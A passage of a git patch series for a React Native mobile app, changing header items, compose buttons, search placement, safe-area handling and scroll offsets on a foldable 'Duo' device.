WorkspaceColumns( const primary = props.descriptors[props.primary.key]; if (!primary) return null; - const sidebarFilter = (primary.options as AppNativeStackNavigationOptions).nativeSidebarFilter; return ( @@ -264,12 +275,14 @@ function WorkspaceColumns( ], }} canGoBack={false} - sidebarFilter={sidebarFilter} + column="detail" + onCompose={detailCompose} /> - props.navigation.navigate("NewTaskSheet", { screen: "NewTask" }) + onStartNewTask={ + // The detail bar or a visible sidebar already carries compose. + detailCompose || panes.primarySidebarVisible ? undefined : openNewTask } /> @@ -282,8 +295,8 @@ function WorkspaceColumns( descriptor={descriptor} onDismiss={handleNativeDismiss} onAppearance={followCollapsedSplit} + onCompose={isPullRequestRoute(route) ? undefined : detailCompose} navigation={props.navigation} - sidebarFilter={sidebarFilter} /> ) : null; })} diff --git a/apps/mobile/src/features/threads/sidebar-native-header-items.ts b/apps/mobile/src/features/threads/sidebar-native-header-items.ts index c2f309a011ed..cfbaf755e89a 100644 --- a/apps/mobile/src/features/threads/sidebar-native-header-items.ts +++ b/apps/mobile/src/features/threads/sidebar-native-header-items.ts @@ -31,30 +31,23 @@ function toNativeHeaderMenuItems(items: HomeListFilterMenu["items"]): NativeHead ); } -export function createSidebarFilterHeaderItem(input: { - readonly filterIcon: string; - readonly filterMenu: HomeListFilterMenu; -}): NativeStackHeaderItemMenu { - return withNativeGlassHeaderItem({ - type: "menu", - axisBehavior: "horizontalOnly", - label: "", - accessibilityLabel: "Filter threads", - icon: sfSymbolIcon(input.filterIcon), - menu: { - title: input.filterMenu.title, - items: toNativeHeaderMenuItems(input.filterMenu.items), - }, - }); -} - export function createSidebarHeaderItems(input: { readonly filterIcon: string; readonly filterMenu: HomeListFilterMenu; readonly onOpenSettings: () => void; }): NativeStackHeaderItem[] { return [ - createSidebarFilterHeaderItem(input), + withNativeGlassHeaderItem({ + type: "menu", + axisBehavior: "horizontalOnly", + label: "", + accessibilityLabel: "Filter threads", + icon: sfSymbolIcon(input.filterIcon), + menu: { + title: input.filterMenu.title, + items: toNativeHeaderMenuItems(input.filterMenu.items), + }, + }), withNativeGlassHeaderItem({ type: "button", axisBehavior: "horizontalOnly", diff --git a/apps/mobile/src/features/threads/useThreadHeaderOptions.tsx b/apps/mobile/src/features/threads/useThreadHeaderOptions.tsx index 366c2640b4c8..2153918ab064 100644 --- a/apps/mobile/src/features/threads/useThreadHeaderOptions.tsx +++ b/apps/mobile/src/features/threads/useThreadHeaderOptions.tsx @@ -100,23 +100,6 @@ export function useThreadHeaderOptions(props: { [navigation], ); - const duoRightHeaderItems = useMemo( - () => [ - ...threadCenterHeaderItems, - { type: "spacing", spacing: 8 }, - withNativeGlassHeaderItem({ - type: "button" as const, - axisBehavior: "verticalPreferred", - identifier: "thread-right-new-task", - label: "New task", - accessibilityLabel: "New task", - icon: { name: "square.and.pencil", type: "sfSymbol" as const }, - onPress: () => navigation.navigate("NewTaskSheet", { screen: "NewTask" }), - }), - ], - [navigation, threadCenterHeaderItems], - ); - const options: AppNativeStackNavigationOptions = { headerShown: true, headerTitle: props.title, @@ -133,12 +116,9 @@ export function useThreadHeaderOptions(props: { : canGoBack ? undefined : () => compactHomeHeaderItems, + // The workspace navigator adds compose to the Duo detail column's bar. unstable_headerRightItems: () => - usesDuoHeader - ? duoRightHeaderItems - : layout.usesSplitView - ? threadCenterHeaderItems - : compactRightHeaderItems, + usesDuoHeader || layout.usesSplitView ? threadCenterHeaderItems : compactRightHeaderItems, unstable_headerToolbarItems: () => [], unstable_headerSubtitle: props.usesNativeHeaderGlass ? props.subtitle : undefined, contentStyle: undefined, @@ -154,7 +134,6 @@ export function useThreadHeaderOptions(props: { splitLeftHeaderItems, threadCenterHeaderItems, compactRightHeaderItems, - duoRightHeaderItems, usesDuoHeader, environmentId, threadId, diff --git a/apps/mobile/src/features/workspace/WorkspaceRootScreen.tsx b/apps/mobile/src/features/workspace/WorkspaceRootScreen.tsx index 98040a69c0f4..3f6dc6415e20 100644 --- a/apps/mobile/src/features/workspace/WorkspaceRootScreen.tsx +++ b/apps/mobile/src/features/workspace/WorkspaceRootScreen.tsx @@ -112,7 +112,6 @@ function WorkspaceRootContent() { headerShown: true, unstable_headerLeftItems: () => [], headerTitle: renderHeaderTitle, - ...(state.selectedTab === "threads" ? {} : { nativeSidebarFilter: undefined }), }} /> ) : ( diff --git a/apps/mobile/src/features/workspace/WorkspaceToolbar.ios.tsx b/apps/mobile/src/features/workspace/WorkspaceToolbar.ios.tsx index af815639fabc..fa282f2104f2 100644 --- a/apps/mobile/src/features/workspace/WorkspaceToolbar.ios.tsx +++ b/apps/mobile/src/features/workspace/WorkspaceToolbar.ios.tsx @@ -2,7 +2,8 @@ import { Toolbar } from "../../components/ui/Toolbar"; import { useFocusEffect, useNavigation } from "@react-navigation/native"; import { use, useCallback, useEffect, useRef } from "react"; import { Platform } from "react-native"; -import { useDeviceType, useNativeLayoutMetrics } from "../../native/native-layout-metrics"; +import { isDuoDevice } from "../../lib/device-type"; +import { useDeviceType } from "../../native/native-layout-metrics"; import type { SearchBarCommands } from "react-native-screens"; import { NATIVE_LIQUID_GLASS_SUPPORTED } from "../../native/native-glass"; @@ -24,16 +25,22 @@ export function WorkspaceToolbar(props: { }) { const workspace = useWorkspaceTabs()!; const navigation = useNavigation(); - const metrics = useNativeLayoutMetrics(); const deviceType = useDeviceType(); const sidebarTabs = useSidebarWorkspaceTabs(); const selectTab = useSelectWorkspaceTab(); const selectedTint = useMobileNavigationTheme().colors.primary; + // On the Duo, compose belongs to the threads tab, in the detail column's bar when unfolded. const nativeToolbarCompose = Platform.OS === "ios" && - (deviceType === "pad" || - sidebarTabs !== null || - (metrics?.verticalBarEdge ?? "none") !== "none"); + (isDuoDevice(deviceType) + ? deviceType === "duo-folded" && workspace.state.selectedTab === "threads" + : deviceType === "pad"); + // The expanded Duo sidebar keeps a full search field in its bottom toolbar. UIKit holds the + // integrated field there, but moves the button form into the detail column's vertical bar. + // Folded, the workspace tab bar owns the bottom of the vertical bar, so search keeps UIKit's + // own placement. + const toolbarSearch = + NATIVE_LIQUID_GLASS_SUPPORTED && deviceType === "duo-unfolded" && props.sidebar === true; const { isTabActive } = workspace; const tabActive = use(NativeWorkspaceTabActivityContext)?.active ?? true; const { panes, togglePrimarySidebar } = useAdaptiveWorkspaceLayout(); @@ -87,8 +94,15 @@ export function WorkspaceToolbar(props: { hideNavigationBar: false, hideWhenScrolling: false, obscureBackground: false, - placement: NATIVE_LIQUID_GLASS_SUPPORTED ? "integratedButton" : "stacked", - allowToolbarIntegration: NATIVE_LIQUID_GLASS_SUPPORTED, + placement: toolbarSearch + ? "integrated" + : NATIVE_LIQUID_GLASS_SUPPORTED + ? "integratedButton" + : "stacked", + // Folded, the tab bar owns the bottom of the vertical bar; refusing toolbar + // integration also makes UIKit re-place a visible search in the navigation bar. + allowToolbarIntegration: + NATIVE_LIQUID_GLASS_SUPPORTED && deviceType !== "duo-folded", placeholder: selectedTab === "pullRequests" ? "Search pull requests" : "Search threads", cancelButtonText: "✕", @@ -154,6 +168,7 @@ export function WorkspaceToolbar(props: { /> ) : null} {nativeToolbarCompose ? : null} + {toolbarSearch ? : null} {nativeToolbarCompose ? ( & { readonly nativeContentInsetHorizontally?: boolean; - readonly nativeSidebarFilter?: NativeStackHeaderItemMenu; readonly headerTintColor?: string | ColorValue; readonly unstable_headerCenterItems?: unknown; readonly unstable_headerLeftItems?: unknown; diff --git a/apps/mobile/src/native/V5StackHeader.ios.tsx b/apps/mobile/src/native/V5StackHeader.ios.tsx index 85419d80353e..e2a89fd28c48 100644 --- a/apps/mobile/src/native/V5StackHeader.ios.tsx +++ b/apps/mobile/src/native/V5StackHeader.ios.tsx @@ -3,7 +3,7 @@ import type { NativeStackHeaderItemMenu, NativeStackNavigationOptions, } from "@react-navigation/native-stack"; -import { isValidElement, useEffect, useRef } from "react"; +import { isValidElement, useEffect, useRef, useState } from "react"; import { StyleSheet } from "react-native"; import { useMobileNavigationTheme } from "../lib/useMobileNavigationTheme"; import { useDeviceType, useNativeLayoutMetrics } from "../native/native-layout-metrics"; @@ -139,36 +139,34 @@ function convertItems(items: NativeStackHeaderItem[], prefix: string): HeaderIte export function V5StackHeader(props: { readonly options: Options; readonly canGoBack: boolean; - readonly primary?: boolean; - readonly sidebarFilter?: NativeStackHeaderItemMenu; + /** Workspace split columns share the vertical bar with the workspace tab bar. */ + readonly column?: "primary" | "detail"; + /** The workspace's compose action, shown as its own group in this column's bar. */ + readonly onCompose?: () => void; + /** Whether another column covers this one in a collapsed split. */ + readonly covered?: boolean; }) { const { options } = props; const theme = useMobileNavigationTheme(); const nativeMetrics = useNativeLayoutMetrics(); const deviceType = useDeviceType(); const searchRef = useRef(null); - const usesDuoToolbarRail = - deviceType === "duo-unfolded" && (nativeMetrics?.verticalBarEdge ?? "none") !== "none"; const itemProps = { tintColor: options.headerTintColor, canGoBack: props.canGoBack }; const leading = convertItems(options.unstable_headerLeftItems?.(itemProps) ?? [], "leading"); - const trailingItems = [ - ...(options.unstable_headerCenterItems?.() ?? []), - ...(options.unstable_headerRightItems?.(itemProps) ?? []), - ]; - // Keep the sidebar's filter actions when UIKit moves the menu to the detail rail. - if (usesDuoToolbarRail && !props.primary && props.sidebarFilter) { - trailingItems.push({ - ...props.sidebarFilter, - identifier: "home-filter", - axisBehavior: "verticalPreferred", - }); - } - const trailing = convertItems(trailingItems, "trailing"); + const trailing = convertItems( + [ + ...(options.unstable_headerCenterItems?.() ?? []), + ...(options.unstable_headerRightItems?.(itemProps) ?? []), + ], + "trailing", + ); const toolbar = options.unstable_headerToolbarItems?.() ?? []; const mailSearch = toolbar.find( (item): item is HeaderBarButtonMailSearchToolbarItem => item.type === "mailSearchToolbar", ); const bottomSearch = Boolean(mailSearch) && deviceType !== "pad"; + // A vertical bar keeps fixed spaces at full length and separates items itself. + const spacesSearch = bottomSearch && (nativeMetrics?.verticalBarEdge ?? "none") === "none"; const bottom = toolbar.flatMap((item, index) => { if (item.type === "mailSearchToolbar") return []; if (item.type === "searchBarPlacement") @@ -180,7 +178,6 @@ export function V5StackHeader(props: { bottom.push({ type: "item", id: mailSearch.filterButtonId ?? "filter", - axisBehavior: bottomSearch ? "horizontalOnly" : undefined, icon: { type: "sfSymbol", name: mailSearch.filterSystemImageName ?? "line.3.horizontal.decrease", @@ -188,37 +185,46 @@ export function V5StackHeader(props: { menu: convertMenu(mailSearch.filterMenu, "filter-menu"), }); if (bottomSearch) { - if (bottom.length) + if (spacesSearch && bottom.length) bottom.push({ type: "spacer", id: "before-search", sizing: "fixed", width: 8 }); - bottom.push({ - type: "item", - id: "home-search", - axisBehavior: "horizontalOnly", - searchBarPlacement: true, - }); - if (mailSearch.onComposePress) + bottom.push({ type: "item", id: "home-search", searchBarPlacement: true }); + if (spacesSearch && mailSearch.onComposePress) bottom.push({ type: "spacer", id: "after-search", sizing: "fixed", width: 8 }); } if (mailSearch.onComposePress) bottom.push({ type: "item", id: mailSearch.composeButtonId ?? "compose", - axisBehavior: bottomSearch ? "horizontalOnly" : undefined, identifier: "workspace-trailing-action", icon: { type: "sfSymbol", name: mailSearch.composeSystemImageName ?? "square.and.pencil" }, onPress: mailSearch.onComposePress, }); } - // Duo keeps compose at the bottom of a visible sidebar. On a single panel, - // the primary column owns the rail too; its separate UIToolbar is inaccessible. + // UIKit doesn't stack a column's toolbar against the workspace tab bar, which owns the + // bottom of the vertical bar and draws over it. Those columns keep the group in their + // navigation items. An expanded sidebar's toolbar stays horizontal, outside the bar. if ( + props.column && nativeMetrics && nativeMetrics.verticalBarEdge !== "none" && - (!props.primary || nativeMetrics.horizontalSizeClass === "compact") + (props.column === "detail" || nativeMetrics.horizontalSizeClass === "compact") ) { + if (trailing.length && bottom.length) + trailing.push({ type: "spacer", id: "toolbar-group", sizing: "fixed", width: 8 }); trailing.push(...bottom); bottom.length = 0; } + if (props.onCompose) { + if (trailing.length) + trailing.push({ type: "spacer", id: "compose-group", sizing: "fixed", width: 8 }); + trailing.push({ + type: "item", + id: "workspace-compose", + title: "New task", + icon: { type: "sfSymbol", name: "square.and.pencil" }, + onPress: props.onCompose, + }); + } const left = options.headerLeft?.(itemProps); const right = options.headerRight?.(itemProps); if (!options.unstable_headerLeftItems && isValidElement(left)) @@ -231,6 +237,20 @@ export function V5StackHeader(props: { ? options.headerTitle({ children: title ?? "", tintColor: options.headerTintColor }) : undefined; const searchOptions = options.headerSearchBarOptions; + const searchPlacement = bottomSearch ? "integrated" : (searchOptions?.placement ?? "automatic"); + // UIKit re-places a visible search controller when its placement changes, but not one whose + // column is covered; that one needs a new controller to place once the column shows again. + // A hidden tab only sees the new placement as it returns, after its detail uncovered the list. + const covered = props.covered === true; + const [search, setSearch] = useState({ placement: searchPlacement, covered, epoch: 0 }); + if (search.placement !== searchPlacement || search.covered !== covered) + setSearch({ + placement: searchPlacement, + covered, + epoch: + search.epoch + + (search.placement !== searchPlacement && (search.covered || covered) ? 1 : 0), + }); const autofocusRef = searchOptions?.ref ?? searchRef; const searchHasFocus = useRef(false); useEffect(() => { @@ -277,12 +297,13 @@ export function V5StackHeader(props: { searchBar: mailSearch || searchOptions ? ( { searchHasFocus.current = true; From ec2fd4d37c34fa090268c03400406031ece418e2 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 17:58:48 -0700 Subject: [PATCH 089/130] fix(mobile): respect Duo safe areas in overlays (#22977) Co-authored-by: Claude Opus 5.5 --- .../devices/DevicePreviewRouteScreen.tsx | 9 +- .../src/features/keyboard/CommandPalette.tsx | 10 +- .../SettingsEnvironmentFilterHeader.tsx | 2 - .../threads/ThreadArrangementSheet.tsx | 354 +++++++++--------- 4 files changed, 194 insertions(+), 181 deletions(-) diff --git a/apps/mobile/src/features/devices/DevicePreviewRouteScreen.tsx b/apps/mobile/src/features/devices/DevicePreviewRouteScreen.tsx index 368c3286e359..3e5899f870a3 100644 --- a/apps/mobile/src/features/devices/DevicePreviewRouteScreen.tsx +++ b/apps/mobile/src/features/devices/DevicePreviewRouteScreen.tsx @@ -27,6 +27,8 @@ import { findHeaderMenuAction, } from "../../components/ui/headerMenu.android"; import type { AppBarMenuItem } from "../../components/ui/AppBar.types"; +import { deriveBottomControlInsets } from "../../lib/reserved-regions"; +import { useNativeColumnLayoutMetrics } from "../../native/native-layout-metrics"; import { deviceEnvironment, refreshDeviceHubAccess, useDeviceHubAccess } from "../../state/device"; import { useEnvironmentQuery } from "../../state/query"; import { useAtomCommand } from "../../state/use-atom-command"; @@ -75,6 +77,8 @@ function DevicePreviewScreen({ readonly onClose: () => void; }) { const insets = useSafeAreaInsets(); + // NativeColumnContent already insets the sides, so only a book fold moves the reveal handle. + const handleBounds = deriveBottomControlInsets(useNativeColumnLayoutMetrics()); const { themeVariables } = useAppearancePreferences(); const focused = useIsFocused(); const [foreground, setForeground] = useState(AppState.currentState !== "background"); @@ -318,7 +322,10 @@ function DevicePreviewScreen({ accessibilityHint="Shaking the phone also shows them" hitSlop={12} className="absolute h-6 w-16 items-center justify-center self-center" - style={{ top: Math.max(insets.top - 18, 4) }} + style={{ + top: Math.max(insets.top - 18, 4), + transform: [{ translateX: (handleBounds.left - handleBounds.right) / 2 }], + }} onPress={() => setControlsVisible(true)} > diff --git a/apps/mobile/src/features/keyboard/CommandPalette.tsx b/apps/mobile/src/features/keyboard/CommandPalette.tsx index d264c0765bcf..3c3fd349c201 100644 --- a/apps/mobile/src/features/keyboard/CommandPalette.tsx +++ b/apps/mobile/src/features/keyboard/CommandPalette.tsx @@ -22,7 +22,9 @@ import { RowPressable } from "../../components/ui/RowPressable"; import { AppText as Text } from "../../components/ui/AppText"; import { SymbolView, type AppSymbolName } from "../../components/ui/AppSymbol"; import { cn } from "../../lib/cn"; +import { deriveBottomControlInsets } from "../../lib/reserved-regions"; import { scopedProjectKey, scopedThreadKey } from "../../lib/scopedEntities"; +import { useNativeLayoutMetrics } from "../../native/native-layout-metrics"; import { T3KeyboardCommands } from "../../native/T3KeyboardCommands"; import { useProjects, useThreadShell, useThreadShells } from "../../state/entities"; import { useThreadSearch } from "../../state/queries"; @@ -156,6 +158,9 @@ export function CommandPalette(props: { const inputRef = useRef(null); const listRef = useRef>(null); const { width, height } = useWindowDimensions(); + // The palette floats above every column, so it keeps itself inside the window's side insets + // and to one side of a book fold. + const bounds = deriveBottomControlInsets(useNativeLayoutMetrics()); const searchEnvironmentIds = useMemo( () => environments @@ -423,7 +428,8 @@ export function CommandPalette(props: { [ withNativeGlassHeaderItem({ - axisBehavior: "horizontalOnly", accessibilityLabel: "Filter settings environments and projects", icon: { name: filterIcon, type: "sfSymbol" }, label: "", @@ -121,7 +120,6 @@ export function SettingsEnvironmentFilterHeader(props: { ...(closeSettings ? [ withNativeGlassHeaderItem({ - axisBehavior: "horizontalOnly", accessibilityLabel: "Close settings", icon: { name: "xmark", type: "sfSymbol" }, identifier: "settings-close", diff --git a/apps/mobile/src/features/threads/ThreadArrangementSheet.tsx b/apps/mobile/src/features/threads/ThreadArrangementSheet.tsx index 77ecc530b90b..447254e2bbf2 100644 --- a/apps/mobile/src/features/threads/ThreadArrangementSheet.tsx +++ b/apps/mobile/src/features/threads/ThreadArrangementSheet.tsx @@ -9,7 +9,7 @@ import { Animated, FlatList, Modal, Pressable, View } from "react-native"; import { Gesture, GestureDetector, GestureHandlerRootView } from "react-native-gesture-handler"; import Reanimated, { ReduceMotion, useAnimatedStyle, withTiming } from "react-native-reanimated"; import { threadDragGapOffset } from "./threadDragGap"; -import { useSafeAreaInsets } from "react-native-safe-area-context"; +import { SafeAreaProvider, SafeAreaView } from "react-native-safe-area-context"; import { AppText as Text } from "../../components/ui/AppText"; import { SymbolView } from "../../components/ui/AppSymbol"; @@ -149,7 +149,6 @@ function DragHandle(props: { } export function ThreadArrangementSheet(props: { onClose: () => void }) { - const insets = useSafeAreaInsets(); const threads = useAtomValue(environmentThreadShells.navigationThreadShellsAtom); const configs = useAtomValue(environmentServerConfigsAtom); const queuedThreadKeys = useAtomValue(queuedThreadKeysAtom); @@ -373,184 +372,187 @@ export function ThreadArrangementSheet(props: { onClose: () => void }) { onRequestClose={props.onClose} > - - - - Drag to reorder, pin, or settle. Changes save when you drop. - - { - geometry.current.height = event.nativeEvent.layout.height; - }} - className="flex-1" - style={{ overflow: "hidden" }} - > - row.key} - scrollEnabled={visiblePreview === null} - removeClippedSubviews={false} - onScroll={(event) => { - geometry.current.offset = event.nativeEvent.contentOffset.y; - }} - scrollEventThrottle={16} - getItemLayout={(_, index) => ({ - length: rows[index]!.height, - offset: rows[index]!.offset, - index, - })} - renderItem={({ item }) => { - const thread = item.thread; - const planner = - item.section === "pinned" || item.section === "active" - ? planners[item.section] - : null; - const capabilities = - thread && configs.get(thread.environmentId)?.environment.capabilities; - const sectionActions = thread - ? (["pinned", "active", "settled"] as const).flatMap<{ - name: "pinned" | "active" | "settled"; - label: string; - }>((section) => { - if (section === item.section) return []; - const label = threadDragAction(item.section, section); - if (!label) return []; - if (section === "settled") - return capabilities?.threadSettlement ? [{ name: section, label }] : []; - if ( - ((section === "pinned" || thread.pinnedAt != null) && - !capabilities?.threadPinning) || - (section === "active" && - item.section === "settled" && - !capabilities?.threadSettlement) || - (section === "active" && - item.section === "snoozed" && - !capabilities?.threadSnooze) - ) - return []; - return planners[section](item.key, { - section, - targetId: null, - placement: "before", - }) - ? [{ name: section, label }] - : []; - }) - : []; - return ( - + + + + + Drag to reorder, pin, or settle. Changes save when you drop. + + { + geometry.current.height = event.nativeEvent.layout.height; + }} + className="flex-1" + style={{ overflow: "hidden" }} + > + row.key} + scrollEnabled={visiblePreview === null} + removeClippedSubviews={false} + onScroll={(event) => { + geometry.current.offset = event.nativeEvent.contentOffset.y; + }} + scrollEventThrottle={16} + getItemLayout={(_, index) => ({ + length: rows[index]!.height, + offset: rows[index]!.offset, + index, + })} + renderItem={({ item }) => { + const thread = item.thread; + const planner = + item.section === "pinned" || item.section === "active" + ? planners[item.section] + : null; + const capabilities = + thread && configs.get(thread.environmentId)?.environment.capabilities; + const sectionActions = thread + ? (["pinned", "active", "settled"] as const).flatMap<{ + name: "pinned" | "active" | "settled"; + label: string; + }>((section) => { + if (section === item.section) return []; + const label = threadDragAction(item.section, section); + if (!label) return []; + if (section === "settled") + return capabilities?.threadSettlement ? [{ name: section, label }] : []; + if ( + ((section === "pinned" || thread.pinnedAt != null) && + !capabilities?.threadPinning) || + (section === "active" && + item.section === "settled" && + !capabilities?.threadSettlement) || + (section === "active" && + item.section === "snoozed" && + !capabilities?.threadSnooze) ) - : 0 - } - > - {thread ? ( - <> - - {thread.title} - - { - void moveThread(thread, { - section, - targetId: null, - placement: "before", - }); - }} - canMoveUp={planner?.(item.key, "up") != null} - canMoveDown={planner?.(item.key, "down") != null} - onStep={(direction) => { - void moveThread(thread, direction); - }} - onStart={() => start(item)} - onMove={update} - onEnd={(cancelled) => { - const current = drag.current; - if (cancelled || !current?.destination) { - stop(); - return; - } - if (frame.current !== null) cancelAnimationFrame(frame.current); - frame.current = null; - drag.current = null; - void moveThread(current.thread, current.destination).finally(stop); - }} - /> - - ) : ( - { - const section = item.section; - if (section === "snoozed" || section === "settled") - setExpanded((value) => ({ ...value, [section]: !value[section] })); - }} + return []; + return planners[section](item.key, { + section, + targetId: null, + placement: "before", + }) + ? [{ name: section, label }] + : []; + }) + : []; + return ( + - - {item.section[0]!.toUpperCase() + item.section.slice(1)} ( - {sections[item.section].length}) - - - )} - - ); - }} - /> - {visiblePreview ? ( - - - {visiblePreview.thread.title} - - {visiblePreview.destination?.section ? ( - - {threadDragAction( - visiblePreview.sourceSection, - visiblePreview.destination.section, - )} - + {thread ? ( + <> + + {thread.title} + + { + void moveThread(thread, { + section, + targetId: null, + placement: "before", + }); + }} + canMoveUp={planner?.(item.key, "up") != null} + canMoveDown={planner?.(item.key, "down") != null} + onStep={(direction) => { + void moveThread(thread, direction); + }} + onStart={() => start(item)} + onMove={update} + onEnd={(cancelled) => { + const current = drag.current; + if (cancelled || !current?.destination) { + stop(); + return; + } + if (frame.current !== null) cancelAnimationFrame(frame.current); + frame.current = null; + drag.current = null; + void moveThread(current.thread, current.destination).finally(stop); + }} + /> + + ) : ( + { + const section = item.section; + if (section === "snoozed" || section === "settled") + setExpanded((value) => ({ ...value, [section]: !value[section] })); + }} + > + + {item.section[0]!.toUpperCase() + item.section.slice(1)} ( + {sections[item.section].length}) + + + )} + + ); + }} + /> + {visiblePreview ? ( + + + {visiblePreview.thread.title} + + {visiblePreview.destination?.section ? ( + + {threadDragAction( + visiblePreview.sourceSection, + visiblePreview.destination.section, + )} + + ) : null} + ) : null} - - ) : null} + + - + ); From eec07b604d96c902a3d945b6ddc16e95dc30860a Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 17:58:48 -0700 Subject: [PATCH 090/130] fix(mobile): retain resting scroll offsets through Duo inset changes (#22978) Co-authored-by: Claude Opus 5.5 --- apps/mobile/src/features/home/HomeScreen.tsx | 4 +- .../PullRequestReviewersScreen.tsx | 4 +- .../pull-requests/PullRequestRouteScreen.tsx | 8 +- .../pull-requests/PullRequestsScreen.tsx | 4 +- .../src/features/threads/ThreadFeed.tsx | 110 +++++++++++++++--- .../threads/thread-feed-live-follow.test.ts | 87 ++++++++++++++ .../threads/thread-feed-live-follow.ts | 68 +++++++++++ .../src/native/useRestingTopOffset.test.tsx | 73 ++++++++++++ apps/mobile/src/native/useRestingTopOffset.ts | 29 +++++ apps/mobile/vite.config.ts | 1 + 10 files changed, 364 insertions(+), 24 deletions(-) create mode 100644 apps/mobile/src/native/useRestingTopOffset.test.tsx create mode 100644 apps/mobile/src/native/useRestingTopOffset.ts diff --git a/apps/mobile/src/features/home/HomeScreen.tsx b/apps/mobile/src/features/home/HomeScreen.tsx index afa23370fe33..02688d85df59 100644 --- a/apps/mobile/src/features/home/HomeScreen.tsx +++ b/apps/mobile/src/features/home/HomeScreen.tsx @@ -42,6 +42,7 @@ import type { SavedRemoteConnection } from "../../lib/connection"; import { scopedProjectKey, scopedThreadKey } from "../../lib/scopedEntities"; import { NativePrimaryColumnContext } from "../../native/v5-workspace-context"; import { nativeHeaderScrollEdgeEffects } from "../../native/scrollEdgeEffects"; +import { useRestingTopOffset } from "../../native/useRestingTopOffset"; import { useNativeColumnLayoutMetrics, useNativeLayoutMetrics, @@ -216,6 +217,7 @@ function HomeTopContentSpacer() { function HomeScrollView(props: ComponentProps) { const insets = useSafeAreaInsets(); const primaryColumn = use(NativePrimaryColumnContext); + const restingOffset = useRestingTopOffset(insets.top, props); if (Platform.OS !== "ios") return ; // v5 needs the actual content scroll view registered with its screen controller. @@ -230,6 +232,7 @@ function HomeScrollView(props: ComponentProps) { > ) { // past its edge, activating scroll-edge protection before any scroll. automaticallyAdjustContentInsets={false} contentInsetAdjustmentBehavior="never" - contentOffset={props.contentOffset ?? { x: 0, y: -insets.top }} /> ); diff --git a/apps/mobile/src/features/pull-requests/PullRequestReviewersScreen.tsx b/apps/mobile/src/features/pull-requests/PullRequestReviewersScreen.tsx index 4f9b9316d434..af471abf2c86 100644 --- a/apps/mobile/src/features/pull-requests/PullRequestReviewersScreen.tsx +++ b/apps/mobile/src/features/pull-requests/PullRequestReviewersScreen.tsx @@ -20,6 +20,7 @@ import { ScrollViewMarker } from "react-native-screens"; import { AppText as Text, AppTextInput as TextInput } from "../../components/ui/AppText"; import { EmptyState } from "../../components/ui/EmptyState"; import { Button } from "../../components/ui/Button"; +import { useRestingTopOffset } from "../../native/useRestingTopOffset"; import { SymbolView } from "../../components/ui/AppSymbol"; import { NativeStackScreenOptions } from "../../native/StackHeader"; import { useNativeLayoutMetrics } from "../../native/native-layout-metrics"; @@ -35,14 +36,15 @@ import { pullRequestTarget, type PullRequestParams } from "./usePullRequestDiff" function ReviewerScrollView(props: ScrollViewProps) { const insets = useSafeAreaInsets(); + const restingOffset = useRestingTopOffset(insets.top, props); return ( ); diff --git a/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx b/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx index 20c85f718930..a513fd424ced 100644 --- a/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx +++ b/apps/mobile/src/features/pull-requests/PullRequestRouteScreen.tsx @@ -56,6 +56,7 @@ import { View, } from "react-native"; import { NativeScrollViewMarker as ScrollViewMarker } from "../../native/NativeScrollViewMarker"; +import { useRestingTopOffset } from "../../native/useRestingTopOffset"; import { useSafeAreaInsets } from "react-native-safe-area-context"; import { AppText as Text } from "../../components/ui/AppText"; @@ -117,13 +118,14 @@ const EMPTY_IDS: readonly string[] = []; function PullRequestTabScrollView(props: ScrollViewProps) { const insets = useSafeAreaInsets(); + const restingOffset = useRestingTopOffset(insets.top, props); return ( ); @@ -558,7 +560,9 @@ export function PullRequestRouteScreen({ route }: StaticScreenProps { const offset = event.nativeEvent.contentOffset.y; scrollOffsets.current[tab] = offset; diff --git a/apps/mobile/src/features/pull-requests/PullRequestsScreen.tsx b/apps/mobile/src/features/pull-requests/PullRequestsScreen.tsx index e0b97485551c..ea287c16cf8a 100644 --- a/apps/mobile/src/features/pull-requests/PullRequestsScreen.tsx +++ b/apps/mobile/src/features/pull-requests/PullRequestsScreen.tsx @@ -21,6 +21,7 @@ import { useSafeAreaInsets } from "react-native-safe-area-context"; import { AppText as Text } from "../../components/ui/AppText"; import { EmptyState } from "../../components/ui/EmptyState"; +import { useRestingTopOffset } from "../../native/useRestingTopOffset"; import { NativePrimaryColumnContext } from "../../native/v5-workspace-context"; import { useWorkspaceState } from "../../state/workspace"; import { useProjects } from "../../state/entities"; @@ -46,13 +47,14 @@ import { useAndroidWorkspaceSelection } from "../workspace/useAndroidWorkspaceSe function PullRequestScrollView(props: ScrollViewProps) { const insets = useSafeAreaInsets(); + const restingOffset = useRestingTopOffset(insets.top, props); return ( ); diff --git a/apps/mobile/src/features/threads/ThreadFeed.tsx b/apps/mobile/src/features/threads/ThreadFeed.tsx index a3d956a4ac56..6882c27c015f 100644 --- a/apps/mobile/src/features/threads/ThreadFeed.tsx +++ b/apps/mobile/src/features/threads/ThreadFeed.tsx @@ -90,6 +90,7 @@ import { useCallback, useContext, useEffect, + useEffectEvent, useLayoutEffect, useMemo, useRef, @@ -202,7 +203,10 @@ import { import type { ThreadContentPresentation } from "./threadContentPresentation"; import { resolveThreadFeedLiveFollow, + resolveThreadFeedReflowAnchor, + resolveThreadFeedReflowScroll, type ThreadFeedLiveFollowEvent, + type ThreadFeedReflowAnchor, type ThreadWorkGroupScrollPosition, } from "./thread-feed-live-follow"; import { @@ -284,6 +288,11 @@ function formatMessageTime(input: string): string { } const TURN_FOLD_HEIGHT = 42; +const FEED_PADDING_TOP = 12; +// Rows re-measure within a commit or two of a width change. LegendList also defers imperative +// scrolls for 100ms after it compensates a size change, and a deferred restore could land +// under a drag that starts meanwhile. +const FEED_REFLOW_SETTLE_MS = 200; const USER_BUBBLE_HORIZONTAL_PADDING = 3.5 * 3.5; const ASSISTANT_ROW_HORIZONTAL_PADDING = 3.5; const THREAD_FEED_DISCLOSURE_ENTER_TRANSITION = FadeIn.delay( @@ -1972,6 +1981,20 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { const transitionEndFollow = (event: ThreadFeedLiveFollowEvent) => { setEndFollow(resolveThreadFeedLiveFollow(endFollowEnabledRef.current, event)); }; + // A width change re-wraps every row at once, and LegendList re-measures them over the next + // commits. Its end threshold and MVCP only see the new geometry, so the reader's place is + // taken before any row lands: the end while following, otherwise the row under the header. + // undefined: no reflow. null: a reflow with nothing to restore. + const reflowAnchorRef = useRef(undefined); + const [reflowFollowsEnd, 